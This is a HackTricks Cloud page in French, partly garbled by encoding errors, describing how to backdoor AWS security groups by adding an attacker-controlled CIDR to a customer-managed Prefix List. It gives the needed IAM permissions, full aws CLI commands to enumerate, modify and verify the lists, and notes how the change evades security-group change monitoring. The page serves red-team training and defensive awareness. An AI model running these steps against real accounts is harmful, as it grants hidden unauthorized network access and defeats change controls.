AWS - Security Group Backdoor via Managed Prefix Lists
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
Résumé
Exploiter les customer-managed Prefix Lists pour crĂ©er un accĂšs furtif. Si une security group (SG) rule rĂ©fĂ©rence une managed Prefix List, toute personne ayant la capacitĂ© de modifier cette liste peut ajouter silencieusement des CIDRs contrĂŽlĂ©s par lâattaquant. Chaque SG (et potentiellement Network ACL ou VPC endpoint) qui rĂ©fĂ©rence la liste autorise immĂ©diatement les nouvelles plages sans aucun changement visible dans le SG.
Impact
- Extension instantanée des plages IP autorisées pour tous les SG référencant la Prefix List, contournant les contrÎles de changement qui ne surveillent que les modifications de SG.
- Permet des backdoors persistants dâingress/egress : garder le CIDR malveillant cachĂ© dans la Prefix List tandis que la SG rule semble inchangĂ©e.
Prérequis
- IAM permissions:
ec2:DescribeManagedPrefixListsec2:GetManagedPrefixListEntriesec2:ModifyManagedPrefixListec2:DescribeSecurityGroups/ec2:DescribeSecurityGroupRules(to identify attached SGs)- Optional:
ec2:CreateManagedPrefixListif creating a new one for testing. - Environnement : Au moins une SG rule référencant la customer-managed Prefix List ciblée.
Variables
REGION=us-east-1
PREFIX_LIST_ID=<pl-xxxxxxxx>
ENTRY_CIDR=<attacker-cidr/32>
DESCRIPTION="Backdoor â allow attacker"
Ătapes dâattaque
- ĂnumĂ©rer les prefix lists candidates et les consommateurs
aws ec2 describe-managed-prefix-lists \
--region "$REGION" \
--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
--output table
aws ec2 get-managed-prefix-list-entries \
--prefix-list-id "$PREFIX_LIST_ID" \
--region "$REGION" \
--query 'Entries[*].[Cidr,Description]'
Utilisez aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID pour confirmer quelles rÚgles SG dépendent de la liste.
- Ajouter le CIDR de lâattaquant Ă la prefix list
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
--region "$REGION"
- Valider la propagation vers les groupes de sécurité
aws ec2 describe-security-group-rules \
--region "$REGION" \
--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
--output table
Le trafic en provenance de $ENTRY_CIDR est dĂ©sormais autorisĂ© partout oĂč la prefix list est rĂ©fĂ©rencĂ©e (gĂ©nĂ©ralement dans les rĂšgles sortantes des proxies de sortie ou les rĂšgles entrantes des services partagĂ©s).
Preuves
get-managed-prefix-list-entriesreflĂšte le CIDR de lâattaquant et la description.describe-security-group-rulesaffiche toujours la rĂšgle SG originale faisant rĂ©fĂ©rence Ă la prefix list (aucune modification du SG enregistrĂ©e), et pourtant le trafic provenant du nouveau CIDR passe.
Nettoyage
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--remove-entries Cidr="$ENTRY_CIDR" \
--region "$REGION"
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

